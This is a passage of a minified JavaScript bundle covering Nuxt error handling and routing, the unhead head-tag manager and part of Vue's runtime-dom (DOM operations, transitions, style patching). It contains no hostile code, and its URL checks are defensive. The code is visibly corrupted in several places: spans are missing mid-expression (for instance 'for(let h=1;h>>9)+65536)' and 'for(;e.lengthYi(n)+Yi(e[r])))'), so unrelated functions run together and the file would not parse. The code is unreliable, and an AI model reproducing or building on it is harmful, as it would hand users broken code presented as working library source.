gs(e.message??e.statusMessage??"",{cause:e.cause||e});if(dh(e,"stack"))try{Object.defineProperty(t,"stack",{get(){return e.stack}})}catch{try{t.stack=e.stack}catch{}}if(e.data&&(t.data=e.data),e.statusCode?t.statusCode=ys(e.statusCode,t.statusCode):e.status&&(t.statusCode=ys(e.status,t.statusCode)),e.statusMessage?t.statusMessage=e.statusMessage:e.statusText&&(t.statusMessage=e.statusText),t.statusMessage){const n=t.statusMessage;Hc(t.statusMessage)!==n&&console.warn("[h3] Please prefer using `message` for longer error messages instead of `statusMessage`. In the future, `statusMessage` will be sanitized by default.")}return e.fatal!==void 0&&(t.fatal=e.fatal),e.unhandled!==void 0&&(t.unhandled=e.unhandled),t}function gh(e){var t;return((t=e==null?void 0:e.constructor)==null?void 0:t.__h3_error__)===!0}const mh=/[^\u0009\u0020-\u007E]/g;function Hc(e=""){return e.replace(mh,"")}function ys(e,t=200){return!e||(typeof e=="string"&&(e=Number.parseInt(e,10)),e<100||e>999)?t:e}const yh=Symbol("layout-meta"),yo=Symbol("route"),ft=()=>{var e;return(e=ve())==null?void 0:e.$router},jc=()=>ei()?Fe(yo,ve()._route):ve()._route;const bh=()=>{try{if(ve()._processingMiddleware)return!0}catch{return!1}return!1},Db=(e,t)=>{e||(e="/");const n=typeof e=="string"?e:Tc(e.path||"/",e.query||{})+(e.hash||"");if(t!=null&&t.open){const{target:a="_blank",windowFeatures:l={}}=t.open,u=Object.entries(l).filter(([c,f])=>f!==void 0).map(([c,f])=>`${c.toLowerCase()}=${f}`).join(", ");return open(n,a,u),Promise.resolve()}const r=(t==null?void 0:t.external)||rn(n,{acceptRelative:!0});if(r){if(!(t!=null&&t.external))throw new Error("Navigating to an external URL is not allowed by default. Use `navigateTo(url, { external: true })`.");const a=mo(n).protocol;if(a&&Sp(a))throw new Error(`Cannot navigate to a URL with '${a}' protocol.`)}const o=bh();if(!r&&o)return e;const s=ft(),i=ve();return r?(i._scope.stop(),t!=null&&t.replace?location.replace(n):location.href=n,o?i.isHydrating?new Promise(()=>{}):!1:Promise.resolve()):t!=null&&t.replace?s.replace(e):s.push(e)},Fc="__nuxt_error",bo=()=>Tl(ve().payload,"error"),un=e=>{const t=vo(e);try{const n=ve(),r=bo();n.hooks.callHook("app:error",t),r.value=r.value||t}catch{throw t}return t},vh=async(e={})=>{const t=ve(),n=bo();t.callHook("app:error:cleared",e),e.redirect&&await ft().replace(e.redirect),n.value=null},_h=e=>!!e&&typeof e=="object"&&Fc in e,vo=e=>{const t=ms(e);return Object.defineProperty(t,Fc,{value:!0,configurable:!1,writable:!1}),t},wh=-1,Eh=-2,Ch=-3,Sh=-4,xh=-5,Th=-6;function Rh(e,t){return Ah(JSON.parse(e),t)}function Ah(e,t){if(typeof e=="number")return o(e,!0);if(!Array.isArray(e)||e.length===0)throw new Error("Invalid input");const n=e,r=Array(n.length);function o(s,i=!1){if(s===wh)return;if(s===Ch)return NaN;if(s===Sh)return 1/0;if(s===xh)return-1/0;if(s===Th)return-0;if(i)throw new Error("Invalid input");if(s in r)return r[s];const a=n[s];if(!a||typeof a!="object")r[s]=a;else if(Array.isArray(a))if(typeof a[0]=="string"){const l=a[0],u=t==null?void 0:t[l];if(u)return r[s]=u(o(a[1]));switch(l){case"Date":r[s]=new Date(a[1]);break;case"Set":const c=new Set;r[s]=c;for(let h=1;h>>9)+65536).toString(16).substring(1,8).toLowerCase()}function ma(e){return e._h||di(e._d?e._d:`${e.tag}:${e.textContent||e.innerHTML||""}:${Object.entries(e.props).map(([t,n])=>`${t}:${String(n)}`).join(",")}`)}function Uc(e,t){const{props:n,tag:r}=e;if(Oh.includes(r))return r;if(r==="link"&&n.rel==="canonical")return"canonical";if(n.charset)return"charset";const o=["id"];r==="meta"&&o.push("name","property","http-equiv");for(const s of o)if(typeof n[s]<"u"){const i=String(n[s]);return`${r}:${s}:${i}`}return!1}function ya(e,t){return e==null?t||null:typeof e=="function"?e(t):e}async function Mh(e,t,n){const r={tag:e,props:await Dc(typeof t=="object"&&typeof t!="function"&&!(t instanceof Promise)?{...t}:{[["script","noscript","style"].includes(e)?"innerHTML":"textContent"]:t},["templateParams","titleTemplate"].includes(e))};return Bc.forEach(o=>{const s=typeof r.props[o]<"u"?r.props[o]:n[o];typeof s<"u"&&((!["innerHTML","textContent","children"].includes(o)||kh.includes(r.tag))&&(r[o==="children"?"innerHTML":o]=s),delete r.props[o])}),r.props.body&&(r.tagPosition="bodyClose",delete r.props.body),r.tag==="script"&&typeof r.innerHTML=="object"&&(r.innerHTML=JSON.stringify(r.innerHTML),r.props.type=r.props.type||"application/json"),Array.isArray(r.props.content)?r.props.content.map(o=>({...r,props:{...r.props,content:o}})):r}function Nh(e,t){var r;const n=e==="class"?" ":";";return typeof t=="object"&&!Array.isArray(t)&&(t=Object.entries(t).filter(([,o])=>o).map(([o,s])=>e==="style"?`${o}:${s}`:o)),(r=String(Array.isArray(t)?t.join(n):t))==null?void 0:r.split(n).filter(o=>o.trim()).filter(Boolean).join(n)}async function Dc(e,t){for(const n of Object.keys(e)){if(["class","style"].includes(n)){e[n]=Nh(n,e[n]);continue}if(e[n]instanceof Promise&&(e[n]=await e[n]),!t&&!Bc.includes(n)){const r=String(e[n]),o=n.startsWith("data-");r==="true"||r===""?e[n]=o?"true":!0:e[n]||(o&&r==="false"?e[n]="false":delete e[n])}}return e}const $h=10;async function Hh(e){const t=[];return Object.entries(e.resolvedInput).filter(([n,r])=>typeof r<"u"&&Ih.includes(n)).forEach(([n,r])=>{const o=Ph(r);t.push(...o.map(s=>Mh(n,s,e)).flat())}),(await Promise.all(t)).flat().filter(Boolean).map((n,r)=>(n._e=e._i,e.mode&&(n._m=e.mode),n._p=(e._i<<$h)+r,n))}const ba={base:-10,title:10},va={critical:-80,high:-10,low:20};function Yr(e){let t=100;const n=e.tagPriority;return typeof n=="number"?n:(e.tag==="meta"?(e.props["http-equiv"]==="content-security-policy"&&(t=-30),e.props.charset&&(t=-20),e.props.name==="viewport"&&(t=-15)):e.tag==="link"&&e.props.rel==="preconnect"?t=20:e.tag in ba&&(t=ba[e.tag]),typeof n=="string"&&n in va?t+va[n]:t)}const jh=[{prefix:"before:",offset:-1},{prefix:"after:",offset:1}],_a=["onload","onerror","onabort","onprogress","onloadstart"],xt="%separator";function Or(e,t,n){if(typeof e!="string"||!e.includes("%"))return e;function r(i){let a;return["s","pageTitle"].includes(i)?a=t.pageTitle:i.includes(".")?a=i.split(".").reduce((l,u)=>l&&l[u]||void 0,t):a=t[i],typeof a<"u"?(a||"").replace(/"/g,'\\"'):!1}let o=e;try{o=decodeURI(e)}catch{}return(o.match(/%(\w+\.+\w+)|%(\w+)/g)||[]).sort().reverse().forEach(i=>{const a=r(i.slice(1));typeof a=="string"&&(e=e.replace(new RegExp(`\\${i}(\\W|$)`,"g"),(l,u)=>`${a}${u}`).trim())}),e.includes(xt)&&(e.endsWith(xt)&&(e=e.slice(0,-xt.length).trim()),e.startsWith(xt)&&(e=e.slice(xt.length).trim()),e=e.replace(new RegExp(`\\${xt}\\s*\\${xt}`,"g"),xt),e=Or(e,{separator:n},n)),e}async function qc(e,t={}){var c;const n=t.document||e.resolvedOptions.document;if(!n||!e.dirty)return;const r={shouldRender:!0,tags:[]};if(await e.hooks.callHook("dom:beforeRender",r),!r.shouldRender)return;const o=(await e.resolveTags()).map(f=>({tag:f,id:Ir.includes(f.tag)?ma(f):f.tag,shouldRender:!0}));let s=e._dom;if(!s){s={elMap:{htmlAttrs:n.documentElement,bodyAttrs:n.body}};for(const f of["body","head"]){const d=(c=n[f])==null?void 0:c.children,h=[];for(const b of[...d].filter(E=>Ir.includes(E.tagName.toLowerCase()))){const E={tag:b.tagName.toLowerCase(),props:await Dc(b.getAttributeNames().reduce((y,m)=>({...y,[m]:b.getAttribute(m)}),{})),innerHTML:b.innerHTML};let A=1,P=Uc(E);for(;P&&h.find(y=>y._d===P);)P=`${P}:${A++}`;E._d=P||void 0,h.push(E),s.elMap[b.getAttribute("data-hid")||ma(E)]=b}}}s.pendingSideEffects={...s.sideEffects||{}},s.sideEffects={};function i(f,d,h){const b=`${f}:${d}`;s.sideEffects[b]=h,delete s.pendingSideEffects[b]}function a({id:f,$el:d,tag:h}){const b=h.tag.endsWith("Attrs");s.elMap[f]=d,b||(["textContent","innerHTML"].forEach(E=>{h[E]&&h[E]!==d[E]&&(d[E]=h[E])}),i(f,"el",()=>{var E;(E=s.elMap[f])==null||E.remove(),delete s.elMap[f]}));for(const[E,A]of Object.entries(h._eventHandlers||{}))d.getAttribute(`data-${E}`)!==""&&((h.tag==="bodyAttrs"?n.defaultView:d).addEventListener(E.replace("on",""),A.bind(d)),d.setAttribute(`data-${E}`,""));Object.entries(h.props).forEach(([E,A])=>{const P=`attr:${E}`;if(E==="class")for(const y of(A||"").split(" ").filter(Boolean))b&&i(f,`${P}:${y}`,()=>d.classList.remove(y)),!d.classList.contains(y)&&d.classList.add(y);else if(E==="style")for(const y of(A||"").split(";").filter(Boolean)){const[m,...v]=y.split(":").map(_=>_.trim());i(f,`${P}:${y}:${m}`,()=>{d.style.removeProperty(m)}),d.style.setProperty(m,v.join(":"))}else d.getAttribute(E)!==A&&d.setAttribute(E,A===!0?"":String(A)),b&&i(f,P,()=>d.removeAttribute(E))})}const l=[],u={bodyClose:void 0,bodyOpen:void 0,head:void 0};for(const f of o){const{tag:d,shouldRender:h,id:b}=f;if(h){if(d.tag==="title"){n.title=d.textContent;continue}f.$el=f.$el||s.elMap[b],f.$el?a(f):Ir.includes(d.tag)&&l.push(f)}}for(const f of l){const d=f.tag.tagPosition||"head";f.$el=n.createElement(f.tag.tag),a(f),u[d]=u[d]||n.createDocumentFragment(),u[d].appendChild(f.$el)}for(const f of o)await e.hooks.callHook("dom:renderTag",f,n,i);u.head&&n.head.appendChild(u.head),u.bodyOpen&&n.body.insertBefore(u.bodyOpen,n.body.firstChild),u.bodyClose&&n.body.appendChild(u.bodyClose),Object.values(s.pendingSideEffects).forEach(f=>f()),e._dom=s,e.dirty=!1,await e.hooks.callHook("dom:rendered",{renders:o})}async function Fh(e,t={}){const n=t.delayFn||(r=>setTimeout(r,10));return e._domUpdatePromise=e._domUpdatePromise||new Promise(r=>n(async()=>{await qc(e,t),delete e._domUpdatePromise,r()}))}function Bh(e){return t=>{var r,o;const n=((o=(r=t.resolvedOptions.document)==null?void 0:r.head.querySelector('script[id="unhead:payload"]'))==null?void 0:o.innerHTML)||!1;return n&&t.push(JSON.parse(n)),{mode:"client",hooks:{"entries:updated":function(s){Fh(s,e)}}}}}const Uh=["templateParams","htmlAttrs","bodyAttrs"],Dh={hooks:{"tag:normalise":function({tag:e}){["hid","vmid","key"].forEach(r=>{e.props[r]&&(e.key=e.props[r],delete e.props[r])});const n=Uc(e)||(e.key?`${e.tag}:${e.key}`:!1);n&&(e._d=n)},"tags:resolve":function(e){const t={};e.tags.forEach(r=>{const o=(r.key?`${r.tag}:${r.key}`:r._d)||r._p,s=t[o];if(s){let a=r==null?void 0:r.tagDuplicateStrategy;if(!a&&Uh.includes(r.tag)&&(a="merge"),a==="merge"){const l=s.props;["class","style"].forEach(u=>{l[u]&&(r.props[u]?(u==="style"&&!l[u].endsWith(";")&&(l[u]+=";"),r.props[u]=`${l[u]} ${r.props[u]}`):r.props[u]=l[u])}),t[o].props={...l,...r.props};return}else if(r._e===s._e){s._duped=s._duped||[],r._d=`${s._d}:${s._duped.length+1}`,s._duped.push(r);return}else if(Yr(r)>Yr(s))return}const i=Object.keys(r.props).length+(r.innerHTML?1:0)+(r.textContent?1:0);if(Ir.includes(r.tag)&&i===0){delete t[o];return}t[o]=r});const n=[];Object.values(t).forEach(r=>{const o=r._duped;delete r._duped,n.push(r),o&&n.push(...o)}),e.tags=n,e.tags=e.tags.filter(r=>!(r.tag==="meta"&&(r.props.name||r.props.property)&&!r.props.content))}}},qh={mode:"server",hooks:{"tags:resolve":function(e){const t={};e.tags.filter(n=>["titleTemplate","templateParams","title"].includes(n.tag)&&n._m==="server").forEach(n=>{t[n.tag]=n.tag.startsWith("title")?n.textContent:n.props}),Object.keys(t).length&&e.tags.push({tag:"script",innerHTML:JSON.stringify(t),props:{id:"unhead:payload",type:"application/json"}})}}},Vh=["script","link","bodyAttrs"],Wh=e=>({hooks:{"tags:resolve":function(t){for(const n of t.tags.filter(r=>Vh.includes(r.tag)))Object.entries(n.props).forEach(([r,o])=>{r.startsWith("on")&&typeof o=="function"&&(e.ssr&&_a.includes(r)?n.props[r]=`this.dataset.${r}fired = true`:delete n.props[r],n._eventHandlers=n._eventHandlers||{},n._eventHandlers[r]=o)}),e.ssr&&n._eventHandlers&&(n.props.src||n.props.href)&&(n.key=n.key||di(n.props.src||n.props.href))},"dom:renderTag":function({$el:t,tag:n}){var r,o;for(const s of Object.keys((t==null?void 0:t.dataset)||{}).filter(i=>_a.some(a=>`${a}fired`===i))){const i=s.replace("fired","");(o=(r=n._eventHandlers)==null?void 0:r[i])==null||o.call(t,new Event(i.replace("on","")))}}}}),Kh=["link","style","script","noscript"],zh={hooks:{"tag:normalise":({tag:e})=>{e.key&&Kh.includes(e.tag)&&(e.props["data-hid"]=e._h=di(e.key))}}},Gh={hooks:{"tags:resolve":e=>{const t=n=>{var r;return(r=e.tags.find(o=>o._d===n))==null?void 0:r._p};for(const{prefix:n,offset:r}of jh)for(const o of e.tags.filter(s=>typeof s.tagPriority=="string"&&s.tagPriority.startsWith(n))){const s=t(o.tagPriority.replace(n,""));typeof s<"u"&&(o._p=s+r)}e.tags.sort((n,r)=>n._p-r._p).sort((n,r)=>Yr(n)-Yr(r))}}},Jh={meta:"content",link:"href",htmlAttrs:"lang"},Qh=e=>({hooks:{"tags:resolve":t=>{var a;const{tags:n}=t,r=(a=n.find(l=>l.tag==="title"))==null?void 0:a.textContent,o=n.findIndex(l=>l.tag==="templateParams"),s=o!==-1?n[o].props:{},i=s.separator||"|";delete s.separator,s.pageTitle=Or(s.pageTitle||r||"",s,i);for(const l of n.filter(u=>u.processTemplateParams!==!1)){const u=Jh[l.tag];u&&typeof l.props[u]=="string"?l.props[u]=Or(l.props[u],s,i):(l.processTemplateParams===!0||["titleTemplate","title"].includes(l.tag))&&["innerHTML","textContent"].forEach(c=>{typeof l[c]=="string"&&(l[c]=Or(l[c],s,i))})}e._templateParams=s,e._separator=i,t.tags=n.filter(l=>l.tag!=="templateParams")}}}),Xh={hooks:{"tags:resolve":e=>{const{tags:t}=e;let n=t.findIndex(o=>o.tag==="titleTemplate");const r=t.findIndex(o=>o.tag==="title");if(r!==-1&&n!==-1){const o=ya(t[n].textContent,t[r].textContent);o!==null?t[r].textContent=o||t[r].textContent:delete t[r]}else if(n!==-1){const o=ya(t[n].textContent);o!==null&&(t[n].textContent=o,t[n].tag="title",n=-1)}n!==-1&&delete t[n],e.tags=t.filter(Boolean)}}},Yh={hooks:{"tags:afterResolve":function(e){for(const t of e.tags)typeof t.innerHTML=="string"&&(t.innerHTML&&["application/ld+json","application/json"].includes(t.props.type)?t.innerHTML=t.innerHTML.replace(/{a.dirty=!0,t.callHook("entries:updated",a)};let o=0,s=[];const i=[],a={plugins:i,dirty:!1,resolvedOptions:e,hooks:t,headEntries(){return s},use(l){const u=typeof l=="function"?l(a):l;(!u.key||!i.some(c=>c.key===u.key))&&(i.push(u),wa(u.mode,n)&&t.addHooks(u.hooks||{}))},push(l,u){u==null||delete u.head;const c={_i:o++,input:l,...u};return wa(c.mode,n)&&(s.push(c),r()),{dispose(){s=s.filter(f=>f._i!==c._i),t.callHook("entries:updated",a),r()},patch(f){s=s.map(d=>(d._i===c._i&&(d.input=c.input=f),d)),r()}}},async resolveTags(){const l={tags:[],entries:[...s]};await t.callHook("entries:resolve",l);for(const u of l.entries){const c=u.resolvedInput||u.input;if(u.resolvedInput=await(u.transform?u.transform(c):c),u.resolvedInput)for(const f of await Hh(u)){const d={tag:f,entry:u,resolvedOptions:a.resolvedOptions};await t.callHook("tag:normalise",d),l.tags.push(d.tag)}}return await t.callHook("tags:beforeResolve",l),await t.callHook("tags:resolve",l),await t.callHook("tags:afterResolve",l),l.tags},ssr:n};return[Dh,qh,Wh,zh,Gh,Qh,Xh,Yh,...(e==null?void 0:e.plugins)||[]].forEach(l=>a.use(l)),a.hooks.callHook("init",a),a}function tg(){return Vc}const ng=bc.startsWith("3");function rg(e){return typeof e=="function"?e():ye(e)}function Zr(e,t=""){if(e instanceof Promise)return e;const n=rg(e);return!e||!n?n:Array.isArray(n)?n.map(r=>Zr(r,t)):typeof n=="object"?Object.fromEntries(Object.entries(n).map(([r,o])=>r==="titleTemplate"||r.startsWith("on")?[r,ye(o)]:[r,Zr(o,r)])):n}const og={hooks:{"entries:resolve":function(e){for(const t of e.entries)t.resolvedInput=Zr(t.input)}}},Wc="usehead";function sg(e){return{install(n){ng&&(n.config.globalProperties.$unhead=e,n.config.globalProperties.$head=e,n.provide(Wc,e))}}.install}function ig(e={}){e.domDelayFn=e.domDelayFn||(n=>yt(()=>setTimeout(()=>n(),0)));const t=Zh(e);return t.use(og),t.install=sg(t),t}const bs=typeof globalThis<"u"?globalThis:typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{},vs="__unhead_injection_handler__";function ag(e){bs[vs]=e}function lg(){if(vs in bs)return bs[vs]();const e=Fe(Wc);return e||tg()}function cg(e,t={}){const n=t.head||lg();if(n)return n.ssr?n.push(e,t):ug(n,e,t)}function ug(e,t,n={}){const r=Te(!1),o=Te({});Dn(()=>{o.value=r.value?{}:Zr(t)});const s=e.push(o.value,n);return at(o,a=>{s.patch(a)}),nn()&&(ho(()=>{s.dispose()}),Vl(()=>{r.value=!0}),ql(()=>{r.value=!1})),s}const fg={ui:{primary:"primary-ui"}},dg={nuxt:{buildId:"decf9c1d-f18d-4f1c-8324-e63822d8ce43"},ui:{primary:"green",gray:"cool",colors:["red","orange","amber","yellow","lime","green","emerald","teal","cyan","sky","blue","indigo","violet","purple","fuchsia","pink","rose","primary-dark","secondary","primary-ui","primary"],strategy:"merge"}},pg=fh(fg,dg);function pi(){const e=ve();return e._appConfig||(e._appConfig=Ne(pg)),e._appConfig}const _s=!1,hg=!1,qb={componentName:"NuxtLink"},gg="#__nuxt";let Lr,Kc;function mg(){var t;const e=(t=pi().nuxt)==null?void 0:t.buildId;return Lr=$fetch(li(`builds/meta/${e}.json`)),Lr.then(n=>{Kc=uh(n.matcher)}),Lr}function _o(){return Lr||mg()}async function hi(e){return await _o(),fi({},...Kc.matchAll(e).reverse())}function Ea(e,t={}){const n=bg(e,t),r=ve(),o=r._payloadCache=r._payloadCache||{};return n in o||(o[n]=vg(e).then(s=>s?zc(n).then(i=>i||(delete o[n],null)):(o[n]=null,null))),o[n]}const yg="_payload.json";function bg(e,t={}){var o;const n=new URL(e,"http://localhost");if(n.host!=="localhost"||rn(n.pathname,{acceptRelative:!0}))throw new Error("Payload URL must not include hostname: "+e);const r=t.hash||(t.fresh?Date.now():(o=pi().nuxt)==null?void 0:o.buildId);return ii(ci().app.baseURL,n.pathname,yg+(r?`?${r}`:""))}async function zc(e){const t=fetch(e).then(n=>n.text().then(Gc));try{return await t}catch(n){console.warn("[nuxt] Cannot load payload ",e,n)}return null}async function vg(e=jc().path){if(e=si(e),(await _o()).prerendered.includes(e))return!0;const n=await hi(e);return!!n.prerender&&!n.redirect}let xr=null;async function _g(){if(xr)return xr;const e=document.getElementById("__NUXT_DATA__");if(!e)return{};const t=await Gc(e.textContent||""),n=e.dataset.src?await zc(e.dataset.src):void 0;return xr={...t,...n,...window.__NUXT__},xr}async function Gc(e){return await Rh(e,ve()._payloadRevivers)}function wg(e,t){ve()._payloadRevivers[e]=t}const Ca={NuxtError:e=>vo(e),EmptyShallowRef:e=>en(e==="_"?void 0:e==="0n"?BigInt(0):Gr(e)),EmptyRef:e=>Te(e==="_"?void 0:e==="0n"?BigInt(0):Gr(e)),ShallowRef:e=>en(e),ShallowReactive:e=>lr(e),Ref:e=>Te(e),Reactive:e=>Ne(e)},Eg=Ue({name:"nuxt:revive-payload:client",order:-30,async setup(e){let t,n;for(const r in Ca)wg(r,Ca[r]);Object.assign(e.payload,([t,n]=nr(()=>e.runWithContext(_g)),t=await t,n(),t)),window.__NUXT__=e.payload}}),Cg=[],Sg=Ue({name:"nuxt:head",enforce:"pre",setup(e){const t=ig({plugins:Cg});ag(()=>ve().vueApp._context.provides.usehead),e.vueApp.use(t);{let n=!0;const r=async()=>{n=!1,await qc(t)};t.hooks.hook("dom:beforeRender",o=>{o.shouldRender=!n}),e.hooks.hook("page:start",()=>{n=!0}),e.hooks.hook("page:finish",()=>{e.isHydrating||r()}),e.hooks.hook("app:error",r),e.hooks.hook("app:suspense:resolve",r)}}});/*! +**/const Sd="http://www.w3.org/2000/svg",xd="http://www.w3.org/1998/Math/MathML",Ot=typeof document<"u"?document:null,zi=Ot&&Ot.createElement("template"),Td={insert:(e,t,n)=>{t.insertBefore(e,n||null)},remove:e=>{const t=e.parentNode;t&&t.removeChild(e)},createElement:(e,t,n,r)=>{const o=t==="svg"?Ot.createElementNS(Sd,e):t==="mathml"?Ot.createElementNS(xd,e):Ot.createElement(e,n?{is:n}:void 0);return e==="select"&&r&&r.multiple!=null&&o.setAttribute("multiple",r.multiple),o},createText:e=>Ot.createTextNode(e),createComment:e=>Ot.createComment(e),setText:(e,t)=>{e.nodeValue=t},setElementText:(e,t)=>{e.textContent=t},parentNode:e=>e.parentNode,nextSibling:e=>e.nextSibling,querySelector:e=>Ot.querySelector(e),setScopeId(e,t){e.setAttribute(t,"")},insertStaticContent(e,t,n,r,o,s){const i=n?n.previousSibling:t.lastChild;if(o&&(o===s||o.nextSibling))for(;t.insertBefore(o.cloneNode(!0),n),!(o===s||!(o=o.nextSibling)););else{zi.innerHTML=r==="svg"?`${e}`:r==="mathml"?`${e}`:e;const a=zi.content;if(r==="svg"||r==="mathml"){const l=a.firstChild;for(;l.firstChild;)a.appendChild(l.firstChild);a.removeChild(l)}t.insertBefore(a,n)}return[i?i.nextSibling:t.firstChild,n?n.previousSibling:t.lastChild]}},Ct="transition",Nn="animation",tr=Symbol("_vtc"),ri=(e,{slots:t})=>Ke(Ff,Rd(e),t);ri.displayName="Transition";const vc={name:String,type:String,css:{type:Boolean,default:!0},duration:[String,Number,Object],enterFromClass:String,enterActiveClass:String,enterToClass:String,appearFromClass:String,appearActiveClass:String,appearToClass:String,leaveFromClass:String,leaveActiveClass:String,leaveToClass:String};ri.props=Ee({},Bl,vc);const qt=(e,t=[])=>{K(e)?e.forEach(n=>n(...t)):e&&e(...t)},Gi=e=>e?K(e)?e.some(t=>t.length>1):e.length>1:!1;function Rd(e){const t={};for(const T in e)T in vc||(t[T]=e[T]);if(e.css===!1)return t;const{name:n="v",type:r,duration:o,enterFromClass:s=`${n}-enter-from`,enterActiveClass:i=`${n}-enter-active`,enterToClass:a=`${n}-enter-to`,appearFromClass:l=s,appearActiveClass:u=i,appearToClass:c=a,leaveFromClass:f=`${n}-leave-from`,leaveActiveClass:d=`${n}-leave-active`,leaveToClass:h=`${n}-leave-to`}=e,b=Ad(o),E=b&&b[0],A=b&&b[1],{onBeforeEnter:P,onEnter:y,onEnterCancelled:m,onLeave:v,onLeaveCancelled:_,onBeforeAppear:C=P,onAppear:M=y,onAppearCancelled:S=m}=t,I=(T,z,oe)=>{Vt(T,z?c:a),Vt(T,z?u:i),oe&&oe()},L=(T,z)=>{T._isLeaving=!1,Vt(T,f),Vt(T,h),Vt(T,d),z&&z()},V=T=>(z,oe)=>{const re=T?M:y,H=()=>I(z,T,oe);qt(re,[z,H]),Ji(()=>{Vt(z,T?l:s),St(z,T?c:a),Gi(re)||Qi(z,r,E,H)})};return Ee(t,{onBeforeEnter(T){qt(P,[T]),St(T,s),St(T,i)},onBeforeAppear(T){qt(C,[T]),St(T,l),St(T,u)},onEnter:V(!1),onAppear:V(!0),onLeave(T,z){T._isLeaving=!0;const oe=()=>L(T,z);St(T,f),St(T,d),Id(),Ji(()=>{T._isLeaving&&(Vt(T,f),St(T,h),Gi(v)||Qi(T,r,A,oe))}),qt(v,[T,oe])},onEnterCancelled(T){I(T,!1),qt(m,[T])},onAppearCancelled(T){I(T,!0),qt(S,[T])},onLeaveCancelled(T){L(T),qt(_,[T])}})}function Ad(e){if(e==null)return null;if(fe(e))return[Mo(e.enter),Mo(e.leave)];{const t=Mo(e);return[t,t]}}function Mo(e){return nl(e)}function St(e,t){t.split(/\s+/).forEach(n=>n&&e.classList.add(n)),(e[tr]||(e[tr]=new Set)).add(t)}function Vt(e,t){t.split(/\s+/).forEach(r=>r&&e.classList.remove(r));const n=e[tr];n&&(n.delete(t),n.size||(e[tr]=void 0))}function Ji(e){requestAnimationFrame(()=>{requestAnimationFrame(e)})}let Pd=0;function Qi(e,t,n,r){const o=e._endId=++Pd,s=()=>{o===e._endId&&r()};if(n)return setTimeout(s,n);const{type:i,timeout:a,propCount:l}=kd(e,t);if(!i)return r();const u=i+"end";let c=0;const f=()=>{e.removeEventListener(u,d),s()},d=h=>{h.target===e&&++c>=l&&f()};setTimeout(()=>{c(n[b]||"").split(", "),o=r(`${Ct}Delay`),s=r(`${Ct}Duration`),i=Xi(o,s),a=r(`${Nn}Delay`),l=r(`${Nn}Duration`),u=Xi(a,l);let c=null,f=0,d=0;t===Ct?i>0&&(c=Ct,f=i,d=s.length):t===Nn?u>0&&(c=Nn,f=u,d=l.length):(f=Math.max(i,u),c=f>0?i>u?Ct:Nn:null,d=c?c===Ct?s.length:l.length:0);const h=c===Ct&&/\b(transform|all)(,|$)/.test(r(`${Ct}Property`).toString());return{type:c,timeout:f,propCount:d,hasTransform:h}}function Xi(e,t){for(;e.lengthYi(n)+Yi(e[r])))}function Yi(e){return e==="auto"?0:Number(e.slice(0,-1).replace(",","."))*1e3}function Id(){return document.body.offsetHeight}function Od(e,t,n){const r=e[tr];r&&(t=(t?[t,...r]:[...r]).join(" ")),t==null?e.removeAttribute("class"):n?e.setAttribute("class",t):e.className=t}const Zi=Symbol("_vod"),Ld=Symbol("_vsh"),_c=Symbol("");function Fb(e){const t=nn();if(!t)return;const n=t.ut=(o=e(t.proxy))=>{Array.from(document.querySelectorAll(`[data-v-owner="${t.uid}"]`)).forEach(s=>ls(s,o))},r=()=>{const o=e(t.proxy);as(t.subTree,o),n(o)};On(()=>{Nf(r);const o=new MutationObserver(r);o.observe(t.subTree.el.parentNode,{childList:!0}),ur(()=>o.disconnect())})}function as(e,t){if(e.shapeFlag&128){const n=e.suspense;e=n.activeBranch,n.pendingBranch&&!n.isHydrating&&n.effects.push(()=>{as(n.activeBranch,t)})}for(;e.component;)e=e.component.subTree;if(e.shapeFlag&1&&e.el)ls(e.el,t);else if(e.type===Oe)e.children.forEach(n=>as(n,t));else if(e.type===vn){let{el:n,anchor:r}=e;for(;n&&(ls(n,t),n!==r);)n=n.nextSibling}}function ls(e,t){if(e.nodeType===1){const n=e.style;let r="";for(const o in t)n.setProperty(`--${o}`,t[o]),r+=`--${o}: ${t[o]};`;n[_c]=r}}const Md=/(^|;)\s*display\s*:/;function Nd(e,t,n){const r=e.style,o=be(n);let s=!1;if(n&&!o){if(t)if(be(t))for(const i of t.split(";")){const a=i.slice(0,i.indexOf(":")).trim();n[a]==null&&kr(r,a,"")}else for(const i in t)n[i]==null&&kr(r,i,"");for(const i in n)i==="display"&&(s=!0),kr(r,i,n[i])}else if(o){if(t!==n){const i=r[_c];i&&(n+=";"+i),r.cssText=n,s=Md.test(n)}}else t&&e.removeAttribute("style");Zi in e&&(e[Zi]=s?r.display:"",e[Ld]&&(r.display="none"))}const ea=/\s*!important$/;function kr(e,t,n){if(K(n))n.forEach(r=>kr(e,t,r));else if(n==null&&(n=""),t.startsWith("--"))e.setProperty(t,n);else{const r=$d(e,t);ea.test(n)?e.setProperty(kn(r),n.replace(ea,""),"important"):e[r]=n}}const ta=["Webkit","Moz","ms"],No={};function $d(e,t){const n=No[t];if(n)return n;let r=lt(t);if(r!=="filter"&&r in e)return No[t]=r;r=ro(r);for(let o=0;o$o||(Dd.then(()=>$o=0),$o=Date.now());function Vd(e,t){const n=r=>{if(!r._vts)r._vts=Date.now();else if(r._vts<=n.attached)return;Xe(Wd(r,n.value),t,5,[r])};return n.value=e,n.attached=qd(),n}function Wd(e,t){if(K(t)){const n=e.stopImmediatePropagation;return e.stopImmediatePropagation=()=>{n.call(e),e._stopped=!0},t.map(r=>o=>!o._stopped&&r&&r(o))}else return t}const sa=e=>e.charCodeAt(0)===111&&e.charCodeAt(1)===110&&e.charCodeAt(2)>96&&e.charCodeAt(2)<123,Kd=(e,t,n,r,o,s,i,a,l)=>{const u=o==="svg";t==="class"?Od(e,r,u):t==="style"?Nd(e,n,r):ar(t)?Hs(t)||Bd(e,t,n,r,i):(t[0]==="."?(t=t.slice(1),!0):t[0]==="^"?(t=t.slice(1),!1):zd(e,t,r,u))?jd(e,t,r,s,i,a,l):(t==="true-value"?e._trueValue=r:t==="false-value"&&(e._falseValue=r),Hd(e,t,r,u))};function zd(e,t,n,r){if(r)return!!(t==="innerHTML"||t==="textContent"||t in e&&sa(t)&&Q(n));if(t==="spellcheck"||t==="draggable"||t==="translate"||t==="form"||t==="list"&&e.tagName==="INPUT"||t==="type"&&e.tagName==="TEXTAREA")return!1;if(t==="width"||t==="height"){const o=e.tagName;if(o==="IMG"||o==="VIDEO"||o==="CANVAS"||o==="SOURCE")return!1}return sa(t)&&be(n)?!1:t in e}const zr=e=>{const t=e.props["onUpdate:modelValue"]||!1;return K(t)?n=>hn(t,n):t};function Gd(e){e.target.composing=!0}function ia(e){const t=e.target;t.composing&&(t.composing=!1,t.dispatchEvent(new Event("input")))}const 